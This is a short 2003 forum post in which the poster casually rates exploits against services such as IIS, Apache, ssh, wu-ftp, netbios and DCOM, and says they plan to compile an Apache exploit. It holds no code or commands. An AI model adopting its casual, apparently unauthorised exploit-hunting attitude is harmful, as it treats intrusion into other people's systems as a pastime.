Aug 23 2003, 07:40 PM

i think ill have the pleasure of compiling it myself
never had a major virus in my life believe it or not...
and so what?
you'll have worse resultes in NTPASS
and SQL well just sux - so slow
i have no exploits for ssh
therse no thinking of normal iis
i've never tryed webdav
im gonna try to compile apache sploit now
cisco is freakin hard
i think iismedia is good... never tryed it
i dunno whats wu-ftp
umm what else
netbios... well netbios is sucky
DCOM r.i.p
ssl im still looking
